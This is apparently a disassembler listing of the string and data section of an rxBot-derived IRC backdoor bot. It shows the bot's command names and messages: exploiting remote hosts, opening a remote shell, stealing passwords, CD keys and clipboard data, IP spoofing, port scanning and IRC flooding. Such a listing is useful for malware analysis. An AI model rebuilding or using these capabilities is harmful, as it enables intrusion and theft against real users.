aOn db 'on',0 ; DATA XREF: sub_401ACD+4075o
; sub_401ACD+41C7o ...
align 4
aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+405Eo
align 4
aRf db 'rf',0 ; DATA XREF: sub_401ACD+4049o
align 10h
aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4034o
align 4
aCm db 'cm',0 ; DATA XREF: sub_401ACD+401Fo
align 10h
aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+400Ao
aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+3FF5o
align 4
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FE0o
aV: ; DATA XREF: sub_401ACD+3FCBo
; ___:0043833Co ...
unicode 0, <v>,0
aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FB6o
align 10h
aLi db 'li',0 ; DATA XREF: sub_401ACD+3FA1o
align 4
aList db 'list',0 ; DATA XREF: sub_401ACD+3F8Co
align 4
aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F77o
align 10h
aDel db 'del',0 ; DATA XREF: sub_401ACD+3F4Do
aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F38o
; sub_401ACD+4645o
align 4
aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F23o
align 10h
aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F0Eo
align 4
aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EF9o
align 4
aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE4o
align 4
aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ECFo
align 4
aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EBAo
aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA5o
align 4
aO: ; DATA XREF: sub_401ACD+3E7Bo
; ___:0043866Co
unicode 0, <o>,0
aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E66o
; sub_401ACD+590Co ...
align 10h
aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E51o
align 4
aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E3Co
align 4
aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E27o
align 4
aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E12o
align 10h
aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DFDo
aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DE8o
align 4
aK: ; DATA XREF: sub_401ACD+3DD3o
; ___:00438328o ...
unicode 0, <k>,0
aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DBEo
align 4
aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D94o
aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D7Fo
align 4
aJ: ; DATA XREF: sub_401ACD+3D55o
; ___:00438324o ...
unicode 0, <j>,0
aN: ; DATA XREF: sub_401ACD+3D2Bo
; ___:00438344o ...
unicode 0, <n>,0
unk_42BA4C db 2Dh ; - ; DATA XREF: sub_401ACD+3CF7o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aDisconnectingC db '- disconnecting clones...',0
align 4
aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C93o
aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C6Ao
align 4
aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3C11o
align 4
aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B44o
dword_42BAAC dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
; DATA XREF: sub_401ACD+3AF0o
; sub_401ACD+3B27o
dd 0
dword_42BAC4 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
; DATA XREF: sub_401ACD+3AB9o
dd 1
dword_42BADC dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
; DATA XREF: sub_401ACD+3A82o
; sub_401ACD+3B99o
aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+3A2Do
align 4
aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3998o
; sub_401ACD+39D4o ...
align 4
aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+393Eo
align 10h
aMsg db 'msg',0 ; DATA XREF: sub_401ACD+384Fo
aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+3808o
aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+3706o
; sub_401ACD+3D16o
align 4
dword_42BB24 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
; DATA XREF: sub_401ACD+36E9o
dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42BB4C dd 636364h ; DATA XREF: sub_401ACD+366Co
dword_42BB50 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Fo
dword_42BB5C dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+3502o
; sub_401ACD+3763o ...
dword_42BB64 dd 69257325h, 0 ; DATA XREF: sub_401ACD+34E7o
; sub_40ACB6+4Fo ...
aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+34A6o
align 4
aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3489o
; sub_401ACD+3579o ...
align 10h
aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+3462o
align 4
aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+3445o
aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+3423o
; sub_401ACD+3D6Ao
align 4
aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+3406o
; sub_401ACD+354Do ...
aJoin db 'join',0 ; DATA XREF: sub_401ACD+33E4o
; sub_401ACD+3D40o
align 4
aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+33C7o
align 4
aMode db 'mode',0 ; DATA XREF: sub_401ACD+3378o
; sub_401ACD+48F2o
align 10h
aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+335Bo
align 10h
aNt db 'nt',0 ; DATA XREF: sub_401ACD+330Co
align 4
dword_42BBD4 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
; DATA XREF: sub_401ACD+32EFo
dword_42BBE8 dd 7463h ; DATA XREF: sub_401ACD+32A0o
dword_42BBEC dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3283o
; sub_401ACD+38A9o ...
dword_42BBFC dd 5Fh ; DATA XREF: sub_401ACD+3254o
; sub_401ACD+32C0o ...
dword_42BC00 dd 6D70h ; DATA XREF: sub_401ACD+3234o
; sub_401ACD+487Fo
unk_42BC04 db 2Dh ; - ; DATA XREF: sub_401ACD+3202o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aSClonesLoadedT db '- %s clones loaded to %s:%s',0
align 10h
aLoad db 'load',0 ; DATA XREF: sub_401ACD+31ABo
align 4
aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3182o
align 10h
aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+316Bo
align 4
aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3156o
aRin db 'rin',0 ; DATA XREF: sub_401ACD+3141o
aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+312Co
align 4
unk_42BC6C db 2Dh ; - ; DATA XREF: sub_401ACD+3121o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0
align 4
unk_42BCAC db 2Dh ; - ; DATA XREF: sub_401ACD+30AFo
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aAttemptingToCo db '- attempting to compromise %s...',0
align 4
aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+3029o
unk_42BCE4 db 2Dh ; - ; DATA XREF: sub_401ACD+300Fo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0
align 10h
unk_42BD10 db 2Dh ; - ; DATA XREF: sub_401ACD+2FF1o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2FCDo
align 10h
unk_42BD50 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_404A41o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0
align 4
aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_404A23o
; sub_401ACD+3F62o
unk_42BD8C db 2Dh ; - ; DATA XREF: sub_401ACD+2EDBo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aInvalidLoginSl db 'Invalid login slot number: %d.',0
align 4
unk_42BDB8 db 2Dh ; - ; DATA XREF: sub_401ACD+2ED3o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNoUserLoggedIn db 'No user logged in at slot: %d.',0
align 4
dword_42BDE4 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401ACD+2E7Eo
unk_42BDF4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40493Co
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
db 'from Hell?) who I love so much.',0
align 4
dword_42BEA4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E4Co
aFailedToSta_19 db '- Failed to start secure thread, error: <%d>.',0
align 10h
dword_42BEE0 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h
; DATA XREF: sub_401ACD+2DD2o
dd 2E6D6574h, 0
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2DCCo
align 4
aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2DC5o
align 4
unk_42BF14 db 2Dh ; - ; DATA XREF: sub_401ACD+2D4Eo
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFailedToSta_20 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42BF54 db 2Dh ; - ; DATA XREF: sub_401ACD+2CCAo
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aServerStartedO db ' Server started on: %s:%d.',0
align 10h
dword_42BF80 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C48o
aFailedToSta_21 db '- Failed to start server thread, error: <%d>.',0
align 4
dword_42BFBC dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2BD9o
aServerStarte_0 db '- Server started on: %s:%d.',0
dword_42BFE4 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2B26o
dword_42BFF4 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B21o
dword_42C000 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Eo
dword_42C010 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2B09o
dword_42C020 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh
; DATA XREF: sub_401ACD+2A96o
dd 676E6974h, 2Eh
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404556o
; sub_401ACD:loc_409779o ...
align 4
dword_42C054 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh
; DATA XREF: sub_401ACD+2A74o
dd 6E697463h, 2E67h
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404534o
align 4
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Eo
; sub_401ACD+7A7Fo
align 4
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Fo
align 4
unk_42C0A4 db 2Dh ; - ; DATA XREF: sub_401ACD+2A18o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0
align 10h
dword_42C0D0 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h
; DATA XREF: sub_401ACD+29D9o
dd 2E7325h
unk_42C0E8 db 2Dh ; - ; DATA XREF: sub_401ACD+29CAo
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToSta_22 db '- Failed to start list thread, error: <%d>.',0
align 4
dword_42C124 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h
; DATA XREF: sub_401ACD+295Bo
dd 65726874h, 2E736461h, 0
dword_42C144 dd 627573h ; DATA XREF: sub_401ACD+2935o
dword_42C148 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h
; DATA XREF: sub_401ACD+28E3o
dd 2E7473h
unk_42C160 db 2Dh ; - ; DATA XREF: sub_401ACD+28C8o
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedToSta_23 db '- Failed to start listing thread, error: <%d>.',0
dword_42C198 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
; DATA XREF: sub_401ACD+2859o
dd 2E676Fh
dword_42C1B0 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh
; DATA XREF: sub_401ACD+27B4o
dd 6F666E49h, 2Eh
dword_42C1CC dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h
; DATA XREF: sub_401ACD+2785o
dd 2E6F666Eh, 0
dword_42C1E8 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h
; DATA XREF: sub_401ACD+2730o
dd 746F4220h, 2Eh
unk_42C204 db 2Dh ; - ; DATA XREF: sub_401ACD+2714o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToSta_24 db ' Failed to start listing thread, error: <%d>.',0
align 10h
dword_42C240 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h
; DATA XREF: sub_401ACD+269Fo
dd 696C2073h, 2E7473h
aFull db 'full',0 ; DATA XREF: sub_401ACD+267Fo
align 4
unk_42C264 db 2Dh ; - ; DATA XREF: sub_401ACD+261Do
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aAlreadyRunni_3 db ' Already running.',0
align 4
dword_42C284 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401ACD+25FAo
aSearchComplete db '- Search completed.',0
dword_42C2A4 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh
; DATA XREF: sub_401ACD+25AEo
dd 2E7325h
unk_42C2BC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403FEBo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellRea db '- Remote shell ready.',0
align 4
unk_42C2DC db 2Dh ; - ; DATA XREF: sub_401ACD+2514o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0
align 4
unk_42C304 db 2Dh ; - ; DATA XREF: sub_401ACD+24F5o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellAlr db '- Remote shell already running.',0
align 10h
dword_42C330 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h
; DATA XREF: sub_401ACD+24DFo
dd 72616F62h, 2E64h
dword_42C34C dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h
; DATA XREF: sub_401ACD+24B1o
dd 2Dh
unk_42C364 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F6Eo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushA db 'Failed to flush ARP cache.',0
align 10h
unk_42C390 db 2Dh ; - ; DATA XREF: sub_401ACD+249Ao
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheFlushe db 'ARP cache flushed.',0
align 4
unk_42C3B4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F43o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToLoadDn db 'Failed to load dnsapi.dll.',0
align 10h
unk_42C3E0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F3Co
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushD db 'Failed to flush DNS cache.',0
align 4
unk_42C40C db 2Dh ; - ; DATA XREF: sub_401ACD+2468o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aDnsCacheFlushe db 'DNS cache flushed.',0
align 10h
unk_42C430 db 2Dh ; - ; DATA XREF: sub_401ACD+2415o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_25 db '- Failed to start server thread, error: <%d>.',0
align 4
unk_42C46C db 2Dh ; - ; DATA XREF: sub_401ACD+23A6o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C4A8 db 2Dh ; - ; DATA XREF: sub_401ACD+22C0o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42C4E4 db 2Dh ; - ; DATA XREF: sub_401ACD+2255o
; sub_40BACE+449o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C520 db 2Dh ; - ; DATA XREF: sub_401ACD+214Eo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_27 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42C55C db 2Dh ; - ; DATA XREF: sub_401ACD+20DFo
; sub_40BACE+DAo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_1 db ' Server started on Port: %d, File: %s.',0
align 10h
unk_42C590 db 2Dh ; - ; DATA XREF: sub_401ACD+202Ao
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aAlreadyRunni_4 db ' Already running.',0
align 10h
unk_42C5B0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403AE1o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_28 db '- Failed to start scan, port is invalid.',0
align 4
unk_42C5E8 db 2Dh ; - ; DATA XREF: sub_401ACD+1FC4o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_29 db '- Failed to start scan thread, error: <%d>.',0
align 4
unk_42C624 db 2Dh ; - ; DATA XREF: sub_401ACD+1F53o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 10h
aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1F28o
; sub_401ACD+5BEFo
align 4
aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1F21o
; sub_401ACD+5BE8o
align 4
unk_42C6A4 db 2Dh ; - ; DATA XREF: sub_401ACD+1D6Eo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0
unk_42C6E4 db 2Dh ; - ; DATA XREF: sub_401ACD+1D10o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToSta_30 db 'Failed to start search thread, error: <%d>.',0
unk_42C720 db 2Dh ; - ; DATA XREF: sub_401ACD+1C96o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aSearchingForPa db 'Searching for password.',0
aFp db 'fp',0 ; DATA XREF: sub_401ACD+1C4Do
align 4
aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1C3Co
align 4
aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C29o
align 4
aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1C12o
align 4
aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1BE8o
dword_42C78C dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h
; DATA XREF: sub_401ACD+1B98o
dd 746F6220h, 2Eh
aCrash db 'crash',0 ; DATA XREF: sub_401ACD+1B82o
; sub_401ACD+1BD2o
align 10h
aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B6Do
align 4
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1B58o
align 4
aHttp db 'http',0 ; DATA XREF: sub_401ACD+1B43o
align 4
aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1B2Eo
align 4
aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1B19o
align 10h
aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1B04o
align 10h
aCip db 'cip',0 ; DATA XREF: sub_401ACD+1AEFo
aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1ADAo
align 10h
aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1AC5o
align 4
aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1AB0o
align 4
aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A9Bo
align 4
aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A86o
align 4
aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A71o
align 4
aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+1A5Co
unk_42C834 db 2Dh ; - ; DATA XREF: sub_401ACD+1A1Eo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingDisabl db ' Spoofing disabled.',0
aOff db 'off',0 ; DATA XREF: sub_401ACD+1A03o
; sub_401ACD+3CB0o ...
aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+19ECo
align 4
unk_42C868 db 2Dh ; - ; DATA XREF: sub_401ACD+19CEo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aLoginListCompl db 'Login list complete.',0
align 4
aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1996o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_403454o
dword_42C89C dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh
; DATA XREF: sub_401ACD+195Co
dword_42C8B0 dd 6F6877h ; DATA XREF: sub_401ACD+193Fo
dword_42C8B4 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1934o
dword_42C8C0 dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+192Fo
aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+1916o
aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+1901o
align 10h
aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+18ECo
aDll db 'dll',0 ; DATA XREF: sub_401ACD+18D7o
aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+18C2o
align 4
aDrv db 'drv',0 ; DATA XREF: sub_401ACD+18ADo
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+1898o
align 4
aUp db 'up',0 ; DATA XREF: sub_401ACD+1883o
align 4
aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+186Eo
align 4
aKey db 'key',0 ; DATA XREF: sub_401ACD+1859o
aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401ACD+1844o
align 4
aPs db 'ps',0 ; DATA XREF: sub_401ACD+182Fo
align 4
aProcs db 'procs',0 ; DATA XREF: sub_401ACD+181Ao
align 10h
aLsp100 db 'lsp100',0 ; DATA XREF: sub_401ACD+17F0o
; sub_401ACD+1805o
align 4
aSi db 'si',0 ; DATA XREF: sub_401ACD+17DBo
align 4
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+17C6o
aNi db 'ni',0 ; DATA XREF: sub_401ACD+17B1o
align 4
aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+179Co
aClg db 'clg',0 ; DATA XREF: sub_401ACD+1787o
aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1772o
align 10h
aLg db 'lg',0 ; DATA XREF: sub_401ACD+175Do
align 4
aLog db 'log',0 ; DATA XREF: sub_401ACD+1748o
aAl db 'al',0 ; DATA XREF: sub_401ACD+1733o
align 4
aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+171Eo
aT: ; DATA XREF: sub_401ACD+1709o
; ___:004382F8o ...
unicode 0, <t>,0
aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16F4o
unk_42C980 db 2Dh ; - ; DATA XREF: sub_401ACD+16C0o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToReboot db 'Failed to reboot system.',0
align 4
unk_42C9A8 db 2Dh ; - ; DATA XREF: sub_401ACD+16B9o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRebootingSyste db 'Rebooting system.',0
align 4
aReboot db 'reboot',0 ; DATA XREF: sub_401ACD+16A2o
align 10h
aI: ; DATA XREF: sub_401ACD+168Do
; ___:00438304o ...
unicode 0, <i>,0
aId db 'id',0 ; DATA XREF: sub_401ACD+1678o
align 4
aS_0: ; DATA XREF: sub_401ACD+1663o
; ___:00438310o ...
unicode 0, <s>,0
aStatus db 'status',0 ; DATA XREF: sub_401ACD+164Eo
align 4
aQ: ; DATA XREF: sub_401ACD+1639o
; ___:off_4382E8o ...
unicode 0, <q>,0
aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+1624o
align 10h
aDc db 'dc',0 ; DATA XREF: sub_401ACD+160Fo
align 4
aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15FAo
align 10h
aR: ; DATA XREF: sub_401ACD+15E5o
; sub_401ACD+3DA9o ...
unicode 0, <r>,0
aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15D0o
align 10h
aExplist db 'explist',0 ; DATA XREF: sub_401ACD+15BBo
aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+15A6o
aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1591o
aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Co
align 10h
aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1567o
aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1552o
align 4
aStats db 'stats',0 ; DATA XREF: sub_401ACD+153Do
align 10h
aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+1528o
align 4
dword_42CA6C dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401ACD+151Do
aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+1518o
align 10h
aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14FFo
align 4
dword_42CA8C dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14F4o
